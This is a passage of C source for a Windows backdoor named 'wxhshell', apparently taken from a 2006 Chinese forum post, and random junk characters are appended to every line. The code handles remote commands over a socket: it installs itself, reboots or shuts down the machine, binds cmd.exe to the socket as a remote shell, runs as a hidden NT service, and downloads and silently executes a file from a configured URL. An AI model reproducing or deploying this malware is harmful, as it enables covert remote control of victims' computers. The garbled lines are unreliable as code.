  else :05>~bn>pC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yCf*ts1  
  } cW/RH.N  
  else { 71z$a  
zEl@jK,{$  
    switch(cmd[0]) { (=j]fnH?  
  8;5 UO,`T  
  // 帮助 ullq}}  
  case '?': { ";J1$a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7;dV]N  
    break; >dUnk)7  
  } |z<E%`u%  
  // 安装 PxM]3Aoa  
  case 'i': { Gm}ecW  
    if(Install()) LrX7WI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %i]q} M  
    else 9mEC|(m*WK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |p4F^!9  
    break; 4hg#7#?boW  
    } ]>b.oI/  
  // 卸载 w[^s) 1  
  case 'r': { 1,p7Sl^h  
    if(Uninstall()) |>gya&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^+Ie   
    else u `1cXL['  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y"<nx3  
    break; CSN]k)\N(  
    } [;7&E{,C  
  // 显示 wxhshell 所在路径 pUZbZ U  
  case 'p': { GO.mT/rB  
    char svExeFile[MAX_PATH]; O'Lgb9  
    strcpy(svExeFile,"\n\r"); Q0Y0Zt,h  
      strcat(svExeFile,ExeFile); wcspqC"_  
        send(wsh,svExeFile,strlen(svExeFile),0); (%rO'X  
    break; qSlC@@.>  
    } [>A%%  
  // 重启 6#MIt:#  
  case 'b': { !_QE|tVeR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .RxH-]xk  
    if(Boot(REBOOT)) V2W)%c'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I0h/x5  
    else { puV(eG  
    closesocket(wsh); ytf.$P  
    ExitThread(0); uLD%M av  
    } C_rlbl;T  
    break; T$U,rOB"  
    } 5}x^0 LY  
  // 关机 wN-3@  
  case 'd': { _n,Ye&m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gI~R u8  
    if(Boot(SHUTDOWN)) (|(#~o]40t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JK4vQWy  
    else { _Y4%Fv>@  
    closesocket(wsh); t4R=$ km  
    ExitThread(0); Wsyq  
    } x{`>Il  
    break; bF;g.-.2  
    } +!\$SOaR{  
  // 获取shell K9\`Wu_qL  
  case 's': { ne4j_!V{Mf  
    CmdShell(wsh); 2%y}El^+_  
    closesocket(wsh); _5uzu6:y  
    ExitThread(0); _Qs=v0B//  
    break; ^31X-}t v  
  } Q&}`( ]k  
  // 退出 -& I)3  
  case 'x': { -/*-e /+b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ] mYT!(}  
    CloseIt(wsh); v) mO"\  
    break; 9YS&RBJu  
    } &x =}m  
  // 离开 _5 Zhv-7  
  case 'q': { p}$VBl$'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sPuNwVX>}I  
    closesocket(wsh); 8<#X]I_eP+  
    WSACleanup(); W-ErzX  
    exit(1); 5(R ./  
    break; '!>LF1W=  
        } oswS<t{Z  
  } I?}YS-2  
  } 0"]N9N;/  
DUUQz:?{J  
  // 提示信息 >0z(+}]3z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e~w-v"'  
} 7SOi9JU_  
  } 49q\/  
_yw]Cacr\  
  return; Ea#wtow|-  
} [LDsn]{  
2{:bv~*I0F  
// shell模块句柄 Hg(%g T  
int CmdShell(SOCKET sock) 0\*[7!`s  
{ sDA&U9;  
STARTUPINFO si; ;L (dmx?  
ZeroMemory(&si,sizeof(si)); MwMv[];I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^}vLZA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q^}6GS$  
PROCESS_INFORMATION ProcessInfo; 9aky+  
char cmdline[]="cmd"; [+<lm 5t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f mu `o-  
  return 0; $Tci_(V=F  
} ?UCK  
T<1* R>el  
// 自身启动模式 {,61V;Bpm  
int StartFromService(void) y ,e# e`  
{ is @8x!c  
typedef struct h8OmO5/H  
{ 1 ;Bgtv$  
  DWORD ExitStatus; w9h`8pt  
  DWORD PebBaseAddress; L6S!?t.{Yv  
  DWORD AffinityMask; vDl6TKXcu  
  DWORD BasePriority; _P9T h#UAg  
  ULONG UniqueProcessId;  ,U':=8  
  ULONG InheritedFromUniqueProcessId; !lf'gW  
}   PROCESS_BASIC_INFORMATION; 's#"~<L^e  
=g)|g+[H  
PROCNTQSIP NtQueryInformationProcess; K'z|a{ru.{  
#Duz|F+%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hZ6CiEJB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M{M>$pt   
!@j5yYf  
  HANDLE             hProcess; w$%d"Jm#X  
  PROCESS_BASIC_INFORMATION pbi; &cy @Be}|T  
0RmQfD>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t:|knZq  
  if(NULL == hInst ) return 0; P(B:tg  
KtH-QQDluj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n HiE$Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mT  enzIp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =To}yJ#  
0G@sj7)]  
  if (!NtQueryInformationProcess) return 0; X 633.]+  
!##OQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7&-i :2  
  if(!hProcess) return 0; Ps=OL\i  
B+W 4r9#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7\ELr 5  
DPIIE2X  
  CloseHandle(hProcess); i`#5dIb   
.KH3.v/c|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P")duv  
if(hProcess==NULL) return 0; %^1@c f?.  
(<y~]igy  
HMODULE hMod; i%RN0UO^  
char procName[255]; P,1[NW  
unsigned long cbNeeded; `x%( n@g  
N0`v;4gF$]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !\D[lh}rL  
;oL`fQyr  
  CloseHandle(hProcess);  0Bbno9Yp  
6%N.'wf  
if(strstr(procName,"services")) return 1; // 以服务启动 .C$4jR.KC  
<*O~?=6p  
  return 0; // 注册表启动 QAs$fi}f]s  
} wCT. (d_  
a W1y0  
// 主模块 -n.ltgW@   
int StartWxhshell(LPSTR lpCmdLine) u!wR  
{ 9a4Xf%!F>z  
  SOCKET wsl; doeYc  
BOOL val=TRUE; c*iZ6j"iI  
  int port=0; jvGGIb"&1  
  struct sockaddr_in door; H<6TN^  
^eu={0k  
  if(wscfg.ws_autoins) Install(); %=C49(/K_  
>;|~ z\8  
port=atoi(lpCmdLine); #9=as Y  
Z.:g8Xl-6  
if(port<=0) port=wscfg.ws_port; mR JX,  
RE*;_DF  
  WSADATA data; |"7F`M96I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OB-gH3:  
*>b*I4dz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j2\B(PA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); urM=l5Sx  
  door.sin_family = AF_INET; 1D@'uApi.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); frsqnvm;+  
  door.sin_port = htons(port); mBb;:-5  
Yfro^}f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q:U^):~  
closesocket(wsl); ^P)W/2  
return 1; j^ y9+W_b  
} tXZE@JyuC  
s+9q`k^  
  if(listen(wsl,2) == INVALID_SOCKET) { V(/ @$&  
closesocket(wsl); 8Jnl!4  
return 1; /3( a'o[  
} G:u-C<^'  
  Wxhshell(wsl); AHg:`Wjv-  
  WSACleanup(); '!$g<= @  
d46PAA{'  
return 0; ,\t:R1.  
0Fd<@w Q0  
} *RPdU.  
 -)='htiU  
// 以NT服务方式启动 6xDYEvHS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hT c VMc  
{ gmFCjs  
DWORD   status = 0; ;;A8*\*$  
  DWORD   specificError = 0xfffffff; ):LgZ4h  
P~"e=NL5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &nJH23h ^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B;k3YOg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <o JM||ZA  
  serviceStatus.dwWin32ExitCode     = 0; R8Kj3wp  
  serviceStatus.dwServiceSpecificExitCode = 0; e|6kgj3/  
  serviceStatus.dwCheckPoint       = 0; G6l:El&  
  serviceStatus.dwWaitHint       = 0; (4;m*' X  
O7]p `Xi8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A"yiXc-N~\  
  if (hServiceStatusHandle==0) return; dp&8:jy  
"'# 18&N  
status = GetLastError(); osBwX.G'l  
  if (status!=NO_ERROR) \w;d4r8x  
{ ;F)j,Ywi)H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QJeL&mf  
    serviceStatus.dwCheckPoint       = 0; '>8IOC  
    serviceStatus.dwWaitHint       = 0; _zuaImJ0o  
    serviceStatus.dwWin32ExitCode     = status; `a$c6^a  
    serviceStatus.dwServiceSpecificExitCode = specificError; U- b(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PT t#Ixn,  
    return; @e`%'  
  } REEs}88);'  
FabDK :  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {Kbb4%P+h  
  serviceStatus.dwCheckPoint       = 0; @y"/hh_?  
  serviceStatus.dwWaitHint       = 0; F_<n8U:Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H<Ne\zAv  
} [ 2WJ];FJ  
{~L{FG)O  
// 处理NT服务事件,比如:启动、停止 ;7;=)/-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +-s$Htx  
{ [UP-BX(  
switch(fdwControl) ]RBT9@-:U  
{ -k4w$0)  
case SERVICE_CONTROL_STOP: R]LRgfi9  
  serviceStatus.dwWin32ExitCode = 0; 5o v F$qn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D7X8yv1  
  serviceStatus.dwCheckPoint   = 0; N9 SC\  
  serviceStatus.dwWaitHint     = 0; 6}(; ~/L  
  { PG51+#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Za"m;+H<E  
  } !Dc|g~km\  
  return; V:YN!  
case SERVICE_CONTROL_PAUSE: bi@z<Xm%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :!'!V>#g  
  break; ?j'Nx_RoX  
case SERVICE_CONTROL_CONTINUE: Ht{Q=w/ 9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y}\d]*5  
  break; ApT8;F B  
case SERVICE_CONTROL_INTERROGATE: h?8I`Z)h  
  break; u0o}rA  
}; %z9lCTmy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 ]c\{G  
} ' F,.y6QU  
KxA ^?,t[  
// 标准应用程序主函数 5 R*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?Q?=I,2bP  
{ oJ:\8>)9  
\ #yKCA';  
// 获取操作系统版本 =x &"aF1  
OsIsNt=GetOsVer(); {E 'go]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hOOkf mOM  
\me'B {aa  
  // 从命令行安装 y;GwMi $KI  
  if(strpbrk(lpCmdLine,"iI")) Install(); g,k} nkIT  
rDD,eNjG  
  // 下载执行文件 }ldOxJSB?  
if(wscfg.ws_downexe) { ;2&ym)`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &E/0jxM1  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4qYT  
} U8>M`e"D  
'joc8o sS  
if(!OsIsNt) { s7789pR  
// 如果时win9x,隐藏进程并且设置为注册表启动 *XCgl*% *  
HideProc(); WDF;`o*3  
StartWxhshell(lpCmdLine); 8kRqF?rbj  
} {:%A  
else #Wf9`  
  if(StartFromService()) j%q,]HCANh  
  // 以服务方式启动 ?=},%^  
  StartServiceCtrlDispatcher(DispatchTable); ii)DOq#2  
else [( O*W  
  // 普通方式启动 r@30y/C  
  StartWxhshell(lpCmdLine); a,/wqX  
'gaa@ !bg  
return 0; 3}F{a8iIm  
}
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只看该作者 1 发表于: 2006-10-10
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